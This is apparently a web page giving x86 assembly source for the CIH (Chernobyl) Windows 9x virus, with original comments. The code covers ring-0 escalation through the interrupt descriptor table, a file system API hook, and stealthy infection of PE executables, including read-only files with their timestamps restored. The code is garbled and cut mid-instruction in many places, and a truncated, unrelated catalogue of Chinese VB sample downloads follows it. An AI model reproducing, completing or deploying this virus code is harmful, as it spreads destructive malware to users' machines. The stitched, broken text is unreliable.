CIH病毒源代码

****************************************************************************


; * *

; * Designer : CIH Original Place : TTIT of Taiwan *

; * Create Date : 04/26/1998 Now Version : 1.1 *

; * Modification Time : 05/15/1998 *

; * *

;

*==========================================================================*


; * Modification History *

;

*==========================================================================*


; * v1.0 1. Create the Virus P *

; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *

; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *

; * 6. When System Opens Existing PE File, the File will be *

; * Infected, and the File doesn't be Reinfected. *

; * 7. It is also Infected, even the File is Read-Only. *

; * 8. When the File is Infected, the Modification Date and Time *

; * of the File also don't be Changed. *

; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *

; * Previous FileSystemApiHook, it will Call the Function *

; * that the IFS Managle that be Infected will not Increase *

; * it's Size... ^__^ *

; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *

; * When Exception Error Occurs, Our OS System should be in *

; * Windows NT. So My Cute Virus will not Continue to Run, *

; * it will Jmup to Original Application to Run. *

; * 3. Use Better Algorithm, Reduce Virus Code Size. *

; * 4. The Virus "Basic" Size is only 796 Bytes. *

;

****************************************************************************


.586P


; ********************************************************************ALSE =

0


DEBUG = TRUE


MajorVirusVersion = 1

MinorVirusVersion = 1


VirusVersion = MajorVirusVersion*10h+MinorVirusVersion


HookExceptionNumber = 03h

FileNameBufferSize = 7fh


; *********************************************************

; *********************************************************


VirusGame SEGMENT


ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame

ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame


; *********************************************************

; * Ring3 Virus Game Initial Program *

; *********************************************************


MyVirusStart:

push ebp


; *************************************

; * Let's Modify Structured Exception *

; * Handing, Prevent Exception Error *

; * Occurrence, Especially in NT. *

; *************************************


lea eax, [esp-04h*2]


xor ebx, ebx

xchg eax, fs:[ebx]


call @0 ;用于定位代码

@0:

pop ebx


lea ecx, StopToRunVirusCode-@0[ebx]

push ecx


push eax


; *************************************

; * Let's Modify *

; * IDT(Interrupt Descriptor Table) *

; * to Get Ring0 Privilege... *

; *************************************


push eax ;

sidt [esp-02h] ; Get IDT Base Address

pop ebx ; 此时ebx中保存的是IDT Base Address(32-bits)


add ebx, HookExceptionNumber*08h+04h ; ZF = 0


cli


mov ebp, [ebx] ; Get Exception Base

ebx-04h], si ;

shr esi, 16 ; Modify Exception

mov [ebx+02h], si ; Entry Point Address


pop esi


; *************************************

; * Generate Exception to Get Ring0 *

; *************************************


int HookExceptionNumber ; GenerateException

ReturnAddressOfEndException = $


; *************************************

; * Merge All Virus Code Section *

; *************************************


push esi

mov esi, eax


LoopOfMergeAllVirusCodeSection:


mov ecx, [eax-04h]


rep movsb


sub eax, 08h


mov esi, [eax]


or esi, esi

jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1


jmp LoopOfMergeAllVirusCodeSection


QuitLoopOfMergeAllVirusCodeSection:


pop esi


; *************************************

; * Generate Exception Again *

; *************************************


int HookExceptionNumber ; GenerateException Ag

ain


; *************************************

; * Let's Restore *

; * Structured Exception Handing *

; *************************************


ReadyRestoreSE:

sti


xor ebx, ebx


jmp RestoreSE


; *************************************

; * When Exception Error Occurs, *

; * Our OS System should be in NT. *

; * So My Cute Virus will not *

; * Continue to Run, it Jmups to *

; * Original Application to Run. *

; *************************************


StopToRunVirusCode:

@1 = StopToRunVirusCode


xor ebx, ebx

mov eax, fs:[ebx]

mov esp, [eax]


RestoreSE:

pop dword ptr fs:[ebx]

pop eax


; *************************************

; * Return Original App to Execute *

; *************************************


pop ebp


push 00401000h ; Push Original

OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack


ret ; Re*********************************


MyExceptionHook:

@2 = MyExceptionHook


jz InstallMyFileSystemApiHook


; *************************************

; * Do My Virus Exist in System !? *

; *************************************


mov ecx, dr0

jecxz AllocateSystemMemoryPage


add dword ptr [esp], ReadyRestoreSE-ReturnAddressO

fEndException


; *************************************

; * Return to Ring3 Initial Program *

; *************************************


ExitRing0Init:

mov [ebx-04h], bp ;

shr ebp, 16 ; Restore Exception

mov [ebx+02h], bp ;


iretd


; *************************************

; * Allocate SystemMemory Page to Use *

; *************************************


AllocateSystemMemoryPage:


mov dr0, ebx ; Set the Mark of My Virus Exi

st in System


push 00000000fh ;

push ecx ;

push 0ffffffffh ;

push ecx ;

push ecx ;

push ecx ;

push 000000001h ;

push 000000002h ;

int 20h ; VMMCALL _PageAllocate

_PageAllocate = $ ;

dd 00010053h ; Use EAX, ECX, EDX, and flags

add esp, 08h*04h


xchg edi, eax ; EDI = SystemMemory Start Add

ress


lea eax, MyVirusStart-@2[esi]


iretd ; Return to Ring3 Initial Program


; *************************************

; * Install My File System Api Hook *

; ************************0h ; VXDCALL IFSMgr_InstallFileSystemApiHook

IFSMgr_InstallFileSystemApiHook = $ ;

dd 00400067h ; Use EAX, ECX, EDX, and flags


mov dr0, eax ; Save OldFileSystemApiHook Ad

dress


pop eax ; EAX = FileSystemApiHook Address


; Save Old IFSMgr_InstallFileSystemApiHook Entry Point

mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]

mov edx, [ecx]

mov OldInstallFileSystemApiHook-@3[eax], edx


; Modify IFSMgr_InstallFileSystemApiHook Entry Point

lea eax, InstallFileSystemApiHook-@3[eax]

mov [ecx], eax


cli


jmp ExitRing0Init


; *********************************************************

; * Code Size of Merge Virus Code Section *

; *********************************************************


CodeSizeOfMergeVirusCodeSection = offset $


; *********************************************************

; * IFSMgr_InstallFileSystemApiHook *

; *********************************************************


InstallFileSystemApiHook:

push ebx


call @4 ;

@4: ;

pop ebx ; mov ebx, offset FileSystemApiHook

add ebx, FileSystemApiHook-@4 ;


push ebx

int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook

IFSMgr_RemoveFileSystemApiHook = $

dd 00400068h ; Use EAX, ECX, EDX, and flags

pop eax


; Call Original IFSMgr_InstallFileSystemApiHook

; to Link Client FileSystemApiHook

push dword ptr [esp+8]

call OldInstallFileSystemApiHook-@3[ebx]

pop ecx


push eax


; Call Original IFSMgr_InstallFileSystemApiHook

******

; * Static Data *

; *********************************************************


OldInstallFileSystemApiHook dd ?


; *********************************************************

; * IFSMgr_FileSystemHook *

; *********************************************************


; *************************************

; * IFSMgr_FileSystemHook Entry Point *

; *************************************


FileSystemApiHook:

@3 = FileSystemApiHook


pushad


call @5 ;

@5: ;

pop esi ; mov esi, offset VirusGameDataStartAd

dress

add esi, VirusGameDataStartAddress-@5


; *************************************

; * Is OnBusy !? *

; *************************************


test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy

)

jnz pIFSFunc ; goto pIFSFun

c


; *************************************

; * Is OpenFile !? *

; *************************************


; if ( NotOpenFile )

***********************

; * Get FilePath's DriveNumber, *

; * then Set the DriveName to *

; * FileNameBuffer. *

; *************************************

; * Ex. If DriveNumber is 03h, *

; * DriveName is 'C:'. *

; *************************************


; mov esi, offset FileNameBuffer

add esi, FileNameBuffer-@6


push esi


mov al, [ebx+04h]

cmp al, 0ffh

je CallUniToBCSPath


add al, 40h

mov ah, ':'


mov [esi], eax


inc esi

inc esi


; *************************************

; * UniToBCSPath *

; *************************************

; * This Service Converts *

; * a Canonicalized Unicode Pathname *

; * to a Normal Pathname in the *

; * Specified BCS Character Set. *

; *************************************


CallUniToBCSPath:

push 00000000h

push FileNameBufferSize

mov ebx, [ebx+10h]

20h ; VXDCall UniToBCSPath

UniToBCSPath = $

dd 00400041h

add esp, 04h*04h


; *************************************

; * Is FileName '.EXE' !? *

; *************************************


; cmp [esi+eax-04h], '.EXE'

cmp [esi+eax-04h], 'EXE.'

pop esi

jne DisableOnBusy


IF DEBUG


; *************************************

; * Only for Debug *

; *************************************


; cmp [esi+eax-06h], 'FUCK'

cmp [esi+eax-06h], 'KCUF'

jne DisableOnBusy


ENDIF


; *************************************

; * Is Open Existing File !? *

; *************************************


; if ( NotOpenExistingFile )

; goto DisableOnBusy

cmp word ptr [ebx+18h], 01h

jne DisableOnBusy


; *************************************

; * Get Attributes of the File *

; *************************************


mov ax, 4300h

int 20h push ecx


; *************************************

; * Get IFSMgr_Ring0_FileIO Address *

; *************************************


mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]

mov edi, [edi]


; *************************************

; * Is Read-Only File !? *

; *************************************


test cl, 01h

jz OpenFile


; *************************************

; * Modify Read-Only File to Write *

; *************************************


mov ax, 4301h

xor ecx, ecx

call edi ; VXDCall IFSMgr_Ring0_FileIO


; *************************************

; * Open File *

; *************************************


OpenFile:

xor eax, eax

mov ah, 0d5h

xor ecx, ecx

xor edx, edx

inc edx

mov ebx, edx

inc ebx

call edi ; VXDCall IFSMgr_Ring0_FileIO


xchg ebx, eax ; mov ebx, FileHandle


; *************************************

; * Need to Restore *

; * Attributes of the File !? *

; *************************************


pop ecx


pushf


1h

call edi ; VXDCall IFSMgr_Ring0_FileIO


; *************************************

; * Is Open File OK !? *

; *************************************


IsOpenFileOK:

popf


jc DisableOnBusy


; *************************************

; * Open File Already Succeed. ^__^ *

; *************************************


push esi ; Push FileNameBuffer Address to Stack


pushf ; Now CF = 0, Push Flag to Stack


add esi, DataBuffer-@7 ; mov esi, offset DataBuffe

r


; ***************************

; * Get OffsetToNewHeader *

; ***************************


xor eax, eax

mov ah, 0d6h


; For Doing Minimal VirusCode's Length,

; I Save EAX to EBP.

mov ebp, eax


xor ecx, ecx

mov cl, 04h

xor edx, edx

mov dl, 3ch

call edi ; VXDCall IFSMgr_Ring0_FileIO


mov edx, [esi]


; ***************************

; * Get 'PE/0' Signature *

; * of ImageFileHeader, and *

; * Infected Mark. *

; ***************************


dec edx


mov eax, ebp

call edi ; VXDCall IFSMgr_Ring0_FileIO


; ***************************

; * Is PE !? *

; ***************************

; * Is the File *

; * Already Infected !? *

; ***************************


; cmp [esi], '/0PE/0'

cmp dword ptr [esi], 00455000h

jne CloseFile


; *************************************

; * The File is ^o^ *

; * PE(Portable Executable) indeed. *

; *************************************

; * The File isn't also Infected. *

; *************************************


; *************************************

; * Start to Infect the File *

; *************************************

; * Registers Use Status Now : *

; * *

; * EAX = 04h *

; * EBX = File Handle *

; * ECX = 04h *

; * EDX = 'PE/0/0' Signature of *

; * ImageFileHeader Pointer's *

; * Former Byte. *

; * ESI = DataBuffer Address == @8 *

; * EDI = IFSMgr_Ring0_FileIO Address *

; * EBP = D600h == Read Data in File *

; *************************************

; * Stack Dump : *

; * *

; * ESP = ------------------------- *

; * | EFLAG(CF=0) | *

; * ------------------------- *

; * | FileNameBufferPointer | *

; * ------------------------- *

; * | EDI | *

; * ------------------------- *

; * | ESI | *

; * ------------------------- *

; * | EBP | *

; * ------------------------- *

; * | ESP | *

; * ------------------------- *

; * | EBX | *

; * ------------------------- *

; * | EDX | *

; * ------------------------- *

; * | ; * ------------------------- *

; *************************************


push ebx ; Save File Handle


push 00h ; Set VirusCodeSectionTableEndMark


; ***************************

; * Let's Set the *

; * Virus' Infected Mark *

; ***************************


push 01h ; Size

push edx ; Pointer of File

push edi ; Address of Buffer


; ***************************

; * Save ESP Register *

; ***************************


mov dr1, esp


; ***************************

; * Let's Set the *

; * NewAddressOfEntryPoint *

; * ( Only First Set Size ) *

; ***************************


push eax ; Size


; ***************************

; * Let's Read *

; * Image Header in File *

; ***************************


mov eax, ebp

mov cl, SizeOfImageHeaderToRead

add edx, 07h ; Move EDX to NumberOfSections

call edi ; VXDCall IFSMgr_Ring0_FileIO


; ***************************

; * Let's Set the *

; * NewAddressOfEntryPoint *

; * ( Set Pointer of File, *

; * Address of Buffer ) *

; ***************************


lea eax, (AddressOfEntryPoint-@8)[edx]

push eax ; Pointer of File


lea eax, (NewAddressOfEntryPoint-@8)[esi]

push eax ; Address of Buffer


; ***************************

; * Move EDX to the Start *

; * of SectionTable in File *

; ***************************


movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]

lea edx, [eax+edx+12h]


; ***************************

; * Let's Get *

; * Total Size of Sections *

; ***************************


mov al, SizeOfScetionTable


; I Assume NumberOfSections *

; * Need to Restore File *

; * Modification Time *

; ***************************


SetFileModificationMark:

pop ebx

pop eax


stc ; Enable CF(Carry Flag)

pushf


; *************************************

; * Close File *

; *************************************


CloseFile:

xor eax, eax

mov ah, 0d7h

call edi ; VXDCall IFSMgr_Ring0_FileIO


; *************************************

; * Need to Restore File Modification *

; * Time !? *

; *************************************


popf

pop esi

jnc DisableOnBusy


; **************************** mov ecx, (FileModificationTime-@7)[esi]

mov edi, (FileModificationTime+2-@7)[esi]

call ebx ; VXDCall IFSMgr_Ring0_FileIO


; *************************************

; * Disable OnBusy *

; *************************************


DisableOnBusy:

dec byte ptr (OnBusy-@7)[esi] ; Disable OnBu

sy


; *************************************

; * Call Previous FileSystemApiHook *

; ************st. *

; *************************************


pIFSFunc:

mov ebx, esp

push dword ptr [ebx+20h+04h+14h] ; Push pioreq

call [ebx+20h+04h] ; Call pIFSFun

c

pop ecx ;


mov [ebx+1ch], eax ; Modify EAX Value in Stack


; ***************************

; * After Calling pIFSFunc, *

; * Get Some Data from the *

; * Returned pioreq. *

; ***************************


cmp dword ptr [ebx+20h+04h+04h], 00000024h

jne QuitMyVirusFileSystemHook


; *****************

; * Get the File *

; * Modification *

; * Date and Time *

; * in DOS Format.*

; *****************


mov eax, [ecx+28h]

mov (FileModificationTime-@6)[esi], eax


; ***************************

; * Quit My Virus' *

; * IFSMgr_FileSystemHook *

; ***************************


QuitMyVirusFileSystemHook:


popad


ret


; *********************************************************

; * Static Data *

; *****_RemoveFileSystemApiHook-_PageAllocate

db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook

db IFSMgr_Ring0_FileIO-UniToBCSPath


VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h

Virus Size *

; *********************************************************


VirusSize = $

; + SizeOfVirusCodeSectionTableEndMark(04h)

; + NumberOfSections(??)*SizeOfVirusCodeSectionT

able(08h)

; + SizeOfTheFirstVirusCodeSectionTable(04h)


; *********************************************************

; * Dynamic Data *

; *********************************************************


VirusGameDataStartAddress = VirusSize

@6 = VirusGameDataStartAddress

OnBusy db 0

FileModificationTime dd ?


FileNameBuffer db FileNameBufferSize dup(?)

@7 = FileNameBuffer


DataBuffer = $

@8 = DataBuffer

NumberOfSections dw ?

TimeDateStamp dd ?

SymbolsPointer dd ?

NumberOfSymbols dd ?

SizeOfOptionalHeader dw ?

_Characteristics dw ?

Magic dw ?

LinkerVersion dw ?

SizeOfCode dd ?

SizeOfInitializedData dd ?

SizeOfUninitializedData dd ?

AddressOfEntryPoint dd ?

BaseOfCode dd ?

BaseOfData dd ?

ImageBase dd ?

@9 = $

SectionAlignm dd ?

SizeOfImage dd ?

SizeOfHeaders dd ?

SizeOfImageHeaderToRead = $-NumberOfSections


NewAddressOfEntryPoint = DataBuffer ; DWORD

SizeOfImageHeaderToWrite = 04h


StartOfSectionTable = @9

SectionName = StartOfSectionTable ; QWORD

VirtualSize = StartOfSectionTable+08h ; DWORD

VirtualAddress = StartOfSectionTable+0ch ; DWORD

SizeOfRawData = StartOfSectionTable+10h ; DWORD

PointerToRawData = StartOfSectionTable+14h ; DWORD

PointerToRelocations = StartOfSectionTable+18h ; DWORD

PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD

NumberOfRelocations = StartOfSectionTable+20h ; WORD

NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD

Characteristics = StartOfSectionTable+24h ; DWORD

SizeOfScetionTable = Characteristics+04h-SectionName


; *********************************************************

; * Virus Total Need Memory *

; *********************************************************


VirusNeedBaseMemory = $


VirusTotalNeedMemory = @9

; + NumberOfSections( + NumberOfSections(??)*SizeOfVirusCodeSectionT

able(08h)

; + SizeOfTheFirstVirusCodeSectionTable(04h)


; *********************************************************

; *********************************************************


VirusGame ENDS


END FileHeader

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
556,delay1.zip <br>源码设计中的延时功能(1KB)<br>557,type_1.zip <br>趣味打字2.1(233KB)<br>558,test1.zip <br>asp编写动态网页计数器(1KB)<br>559,hztosm.zip <br>汉字转声母完全源代码(90KB)<br>560,formatfloppy.zip <br>格式化软盘源代码(13KB)<br>561,freespace.zip <br>获取磁盘剩余空间(3KB)<br>562,setscreen <br>设置屏幕分辨率(7KB)<br>563,snapwindow.zip <br>一个抓图的小程序(14KB)<br>564,hotrgn.zip <br>热区的应用(6KB)<br>565,getserial.zip <br>读出驱动器序列号,可以制作加密安装盘(2KB)<br>566,opencdrom.zip <br>可以程序控制打开或关闭CDROM,非常方便(2KB)<br>567,getusername.zip <br>自动读取用户登陆名称,再进行密码验证(2KB)<br>568,gethostname.zip <br>读取机器名称(2KB)<br>569,printpic.zip <br>解决图形打印的问题(50KB)<br>570,g029_pcl.zip<br>拼图游戏(56KB)<br>571,g028_octopus.zip<br>一个简单的掌上游戏机的游戏,这个游戏机的内容是要逃过大章鱼的捕捉(408KB)<br>572,g027_menace.zip<br>仓库世家-推箱子的游戏(114KB)<br>573,g026_breKthru.zip<br>弹珠台游戏(41KB)<br>574,g025_zhq.zip<br>一个能考考你的智慧的智慧棋(17KB)<br>575,g024_vb-sol.zip<br>VB 的扑克牌游戏的源码(15KB)<br>576,g023_picgame.zip<br>一个好玩的拼图游戏(25KB)<br>577,g021_zm015<br>看着超级玛莉不停的追赶着你的鼠标,是不是很有意思呢?(25KB)<br>578,g020_zm019<br>一个拼图游戏,可以自己指定图片进行游戏(12KB)<br>579,g019_zm011<br>一个网络五子棋的源程序(并有聊天功能)(41KB)<br>580,g018_zm010.zip<br>中国象棋的源程序,支持网络作战(23KB)<br>581,g017<br>3维的breaKthrough游戏(8KB)<br>582,g016.zip<br>小蜜蜂射击游戏源程序, 不仅演示了 vb 的图形操作技巧,键盘操作,还演示了怎样使用 npmod32.dll(已包含,免费) 来播mod,s3m,mpp,med,xm,it,mdz,itz,xmz,s3z 等音乐格式文件(208KB)<br>583,g015.zip<br>旋转俄罗斯 1.0 demo 版的源程序,vb5 版存贮,稍加修改即适合于 vb4、vb3。里面有用 vb 处理俄罗斯方块的核心内容及简单注释(8KB)<br>584,g014.zip<br>breakthrough游戏(保持小球在屏幕上跳动)源程序(50KB)<br>585,g013.zip<br>3维迷宫游戏的源程序(40KB)<br>586,g012.zip<br>射击(导弹)游戏的源程序(5KB)<br>587,g011.zip<br>生命游戏源程序(12KB)<br>588,g010.zip<br>一个精灵游戏源程序(33KB)<br>589,g009.zip<br>翻转棋游戏(64子, 每子正反面分别为黑白两色, 两人对弈)的源程序(29)<br>590,g008.zip<br>纸牌游戏源程序(45KB)<br>591,g007.zip<br>太空船游戏例子源程序(48KB)<br>592,g006.zip<br>用白雪做背面的俄罗斯方块(1.0版),自带EXE(224KB)<br>593,g005.zip<br>个人娱乐游戏,自带EXE(25KB)<br>594,g004.zip<br>个个人自娱乐的扑克牌游戏(57KB)<br>595,g003.zip<br>代表和平的娱乐游戏,自带EXE(12KB)<br>596,g002.zip<br>一个迷宫游戏,还有地图编辑器呢,完全源码(230KB)<br>597,g001.zip<br>模仿windows中的扫雷,自带EXE(38KB)<br>598,p012_prtDB.zip<br>打印数据库表格(39KB)<br>599,p011_dbprint.zip<br>数据库打印的例子(7KB) <br>600,p010_print.zip<br>一个调用打印机的VB程序范例(8KB)<br>601,p009_vbSimple35.zip<br>打印预览(21KB)<br>602,p008_prview32.zip<br>在VB中用OLE服务实现打印预览的功能(87KB)<br>603,p007_prnprv3.zip<br>如何使用VB实现打印预览(32KB)<br>604,p006_prnView.zip<br>打印模拟(13KB)<br>605,p005_vbTip10.zip<br>避免 Print 时印出 空白的前置字元(2KB)<br>606,p004_spool.zip<br>发送脱机打印任务(5KB)<br>607,p003_orient.zip<br>改变缺省的打印方向(3KB)<br>608,p002.zip<br>在VB5/6中增加打印预览功能(78KB)<br>609,p001.zip<br>简单的打印文件的例子(5KB)<br>610,o046_4.zip<br>识别常数的简单四则运算(3KB)'<br>611,o045_dhsz.zip<br>象钟面一样有时针、分针和秒针(3KB)<br>612,o044_zm045.zip<br>一个非常酷的机器人的源程序,你可以自己制作你喜欢的机器人并保存起来,很有意思哦(137KB)<br>613,o043_004101102.zip<br>TreeView的基本操作(5KB)<br>614,o042.zip<br>一个比较完整的源代码<br>615,o041_waker.zip<br>定时提醒 1.0 (12KB)<br>616,o040_zm035.zip<br>彻底清除“I Love You”病毒并介绍了病毒的原理及特征。Cool(32KB)<br>617,o039_72.zip<br>鼠标计程器(23KB)<br>618,o038_love.zip<br>情书生成器源代码(161KB)<br>619,o037_shellex5.zip<br>能打开默认的文件夹和默认的网站(7KB)<br>620,o035_shchangenotify.zip<br>未公开的COOL函数据(12KB)<br>621,o034_rotfont.zip<br>用VB实现字体的旋转<br>622,o033_998162026.zip<br>制作安装程序常用的模块(2KB)<br>623,o032_play024.zip<br>对电子爱好者是一个不错的选择(7KB)<br>624,o031_Play39.zip<br>时间、空间大小等数据向字符串的很有用的转换(4KB)<br>625,o029_snow.zip<br>一个雪花飘落例子(3KB)<br>626,o028_zoomsys.zip<br>类似画图放大镜的东西(2KB)<br>627,o027_wiz2.zip<br>制作应用程序向导的例子(类似安装程序的界面)!(5KB)<br>628,o025_StopWatch.zip<br>“跑表”类 ,VB 提供的 Timer 控件的精度好象可以达到 1 毫秒,但实际上只能达到几十毫秒。此“跑表”类使用多媒体的定时器而真正提供精确到 1 毫秒的定时(1KB)<br>629,o024_timer.zip<br>这是一个VB6编写的数码钟(4KB)<br>630,o023_clock.zip<br>指针式的时钟(3KB)<br>631,o021_viewpw.zip<br>密码查看器(7KB)<br>632,o020_calendar.zip<br>一个小小的日历程序(4KB)<br>633,o019_getword.zip<br>读取鼠标所在位置的单词(5KB)<br>634,o018_up.zip<br>数字大写转换程序(8KB)<br>635,o017_zm020.zip<br>利用这个程序可以让你方便的管理你所收集的源程序,VBCODE网站50几周来排行第一的源程序。强烈推荐! (200KB)<br>636,o016.zip<br>演示银河系的例子 (28KB)<br>637,o015.zip<br>计数器(10KB)<br>638,o014.zip<br>文件加密/解密的例子 (345KB)<br>639,o013.zip<br>将十亿以内的数字转换成文本文字(4KB)<br>640,o012.zip<br>十进制数转换成罗马数字(1KB)<br>641,o011.zip<br>16进制数转换成十进制, 16进制转换成二进制等(1KB)<br>642,o010.zip<br>转换二进制数为16进制数(1KB)<br>643,o009.zip<br>指定两个日期, 计算相隔的天数(2KB)<br>644,o008.zip<br>非常COOL的文字效果(9KB)<br>645,o007.zip<br>Ceaser转换文本加密技术,由Julius Ceaser提出 COOL(7KB)<br>646,o006.zip<br>允许你让EXE文件在用户第一次使用时输入用户名和序列号, 并将信息存储在EXE文件中(5KB)<br>647,o005.zip<br>简单的例子(4KB)<br>648,o004.zip<br>加密/解密字符串的例子(9KB)<br>649,o003.zip<br>密码存储程序(2KB)<br>650,o002.zip<br>用VB做的CGI程序,演示了如何做一个网上的电子交易系统(91KB)<br>651,vbNumerical11.htm<br>Least-Squares curve fitting by using an arbitrary order polynomial as approximating function.(11KB)<br>652,vbNumerical12.htm<br>Matrix Inversion by Gauss-Jordan Elimination with maximization of pivot elements.(12KB)<br>653,vbNumerical13.htm<br>Least-Squares curve fitting with statistical analysis by using an arbitrary order polynomial (17KB)<br>654,vbNumerical14.htm<br>valuate an integral by using Romberg integration. (9KB)<br>655,vbNumerical15.htm<br>Solve the matrix eigenvalue problem by using Hotelling's deflation method.(15KB)<br>656,vbNumerical16.htm<br>Solve the integral of discrete evenly and unevenly spaced points by using trapezoidal or Simpson's rule. (13KB)<br>657,vbNumerical17.htm<br>Evaluate the determinant of a square matrix by using Gauss Elimination with maximization <br>of pivot elements.(7KB)<br>658,vbNumerical18.htm<br>Solve a set of simultaneous linear equations including determinant calculation by Gauss-Jordan<br>Elimination with maximization of pivot elements.(5KB)<br>659,vbNumerical19.htm<br>Solve a set of simultaneous linear equations including determinant calculation by Gauss Elimination <br>with maximization of pivot elements.(5KB)<br>660,vbNumerical20.htm<br>Matrix Inversion including determinant calculation by Gauss-Jordan Elimination with <br>maximization of pivot elements.(5KB)<br>661,prnprv3.zip<br>在vb5/6中增加打印预览功能(78KB)<br>662,vbprint.zip<br>vb中使用打印功能的add-in(764KB)<br>663,spool.zip<br>打印文件的例子(5KB)<br>664,versioninfo.zip<br>从dll或exe文件中获得版本信息(3KB)<br>665,shellwait.zip<br>在程序中运行另一个exe程序直到它运行结束(1KB)<br>666,unloadforms.zip<br>卸装所有的forms(1KB)<br>667,startfile.zip<br>在程序中运行另一个exe程序(6KB)<br>668,killapp.zip<br>终止另一个程序(3KB)<br>669,jdsaver.zip<br>一个简单的屏幕保护程序(13KB)<br>670,ssaver.zip<br>在屏幕上卷滚文字的屏幕保护程序 (8KB)<br>671,scrsaver.zip<br>一个简单的屏幕保护程序(5KB)<br>672,scrnsavr.zip<br>两个屏幕保护程序(39KB)<br>673,saver.zip<br>一个简单的屏幕保护程序(7KB)<br>674,crypt.zip<br>密码存储程序(2KB)<br>675,enigma.zip<br>一个德国的enigma加密技术例子 cool(10KB)<br>676,ceaser.zip<br>ceaser转换文本加密技术,由julius ceaser提出 cool(7KB)<br>677,registry.zip<br>读和写注册表文件的例子(7KB)<br>678,xcopy.zip <br>模仿dos命令xcopy的功能(3KB)<br>679,winpaths.zip<br>得到计算机上windows目录和系统目录(3KB)<br>680,tray.zip<br>实现托盘程序(9KB)<br>681,drvspace.zip <br>显示磁盘的剩余空间(2KB)<br>682,keycheck.zip<br>键盘检测程序(5KB)<br>683, getdrives.zip<br>得到驱动器的详细资料(7KB)<br>684,getcompname.zip<br>得到计算机名称(2KB)<br>685,systeminfo.zip<br>显示详细的系统资料(11KB)<br>686,watchdir.zip<br>监控一个指定的目录, 当这个目录有文件删除或有文件增加, 监控程序将显示相关信息(4KB)<br>687,turnoff.zip<br>关机/重启动的程序(20KB)<br>688,controlpanel.zip<br>访问控制面板的方法(2KB)<br>689,screenres.zip<br>得到计算机屏幕的大小(2KB)<br>690,editregistry.zip <br>编辑注册表 (2KB)<br>691,stop.zip<br>锁定计算机的程序(5KB)<br>692,wbasket.zip<br>将文件移动到垃圾箱中(2KB)<br>693,opsys.zip<br>得到操作系统的信息(12KB)<br>694,ctaskmanager.zip<br>windows任务管理程序(12KB)<br>695,cntrlpnl.zip<br>访问控制面板(12KB)<br>696,copyscr.zip<br>拷贝屏幕到picture box(2KB)<br>697, registryb.zip <br>读注册表信息(5KB)<br>698,registry5.zip<br>读/写注册表(10KB)<br>699,hideshowtaskbar.zip<br>显示/隐藏任务条(3KB)<br>700,taskhide.zip<br>隐藏一个任务(2KB)<br>701,clipcurs.zip<br>限制鼠标的区域(3KB)<br>702, kidnap.zip<br>捆绑程序(8KB)<br>703,netuse.zip<br>演示连接/断开network(3KB)<br>704,winntsecurity.zip<br>关于windows nt安全性的程序(6KB)<br>705,code_format_disk.zip<br>格式化磁盘的例子(8KB)<br>706,01ss1632.zip<br>创建一个屏幕保护程序所用到的ole dll和使用例子(263KB)<br>707,cpocket.zip<br>统托盘(tray)控件(691KB)<br>708,tskvb4.zip<br>一个系统托盘(tray)例子(13KB)<br>709,scrnres.zip<br>使用windows api得到屏幕的大小(3KB)<br>710,taskswth.zip <br>调用api实现任务转换和得到当前活动任务名称(4KB)<br>711,vbhlp32.zip<br>vb helper:一个写帮助文件的dll(31KB)<br>712,loads.zip<br>将动态连接库预先装入内存以提高程序的运行速度(35KB)<br>713, toolsdll.zip<br>一个提供磁盘功能动态库, 包括确认文件是否存在, 磁盘空间等功能(132KB)<br>714,vbfindid.zip<br>找到窗口或控制的id及类信息(9KB)<br>715,rbbwin11.zip <br>在basic中执行一些特殊的指令(如重启计算机等)(1230KB)<br>716,drivetyp.zip<br>监测用户安装了何种类型的驱动器,包括"软驱","硬盘","cd-rom","网络驱动器"等(3KB)<br>717, inout.zip<br>如何在vb中调用i/o口的例子(10KB)<br>718,mouseleavetest.zip<br>在vb中定义了mousemove事件,但不能捕捉mouseleave事件,此程序交你如何捕捉mouseleave事件(8KB)<br>719,progman.zip<br>制作安装程序必备,此模块包含的sub及function能帮你做出专业的安装程序(2KB)<br>720,windows5.zip<br>如何得到当前windows的版本号(7KB)<br>721,group.zip<br>读取 win95 组的三种方法及组中建快捷键(15KB)<br>722,shutdown.zip<br>模拟关机程序, 作者:小乐(mailto:[email protected])(6KB)<br>723,associate.zip<br>建立文件关联, 例子演示把 .bar 文件与 notepad 建立关联(2KB)<br>724,磁盘空间.zip<br>磁盘使用情况(3KB)<br>725,bwindowontop.zip<br>使窗口显示在最前面的例子(1KB)<br>726,richtext.zip<br>编辑rtf文件的程序, 需要active threed control(30KB)<br>727,rtf.zip<br>演示rtf控制的功能(16KB)<br>728,mdi-temp.zip<br>实现多文档界面的记事本, 需要active threed control(29KB)<br>729,textedit.zip<br>类似记事本的简单文本编辑器(9KB)<br>730,toupper.zip <br>在textbox中输入大写文本(2KB)<br>731,wordover.zip<br>鼠标移动到richtext box中时查看单词(3KB)<br>732,editmenu.zip<br>在richtext box中增加右击菜单(5KB)<br>733,xmsnotepad.zip<br>xms记事本(23KB)<br>734,textefx.zip<br>非常cool的文字效果(9KB)<br>735,rtfprn.zip<br>打印richtext box中的内容(8KB)<br>736,lword.zip<br>一个简单的单词处理程序(46KB)<br>737,rotfont.zip<br>vb中的字都是水平的,可否想过作出有角度的字,在这里演示了作旋转的字的方法(4KB)<br>738,txtsrch.zip <br>在text中实现快速增量查询(4KB)<br>739,alphanumsortdll.zip <br>按字母和数字排序的例子(1527KB)<br>740,ccdemo.zip<br>演示调用windows的颜色对话框(258KB)<br>741,cfdemo.zip 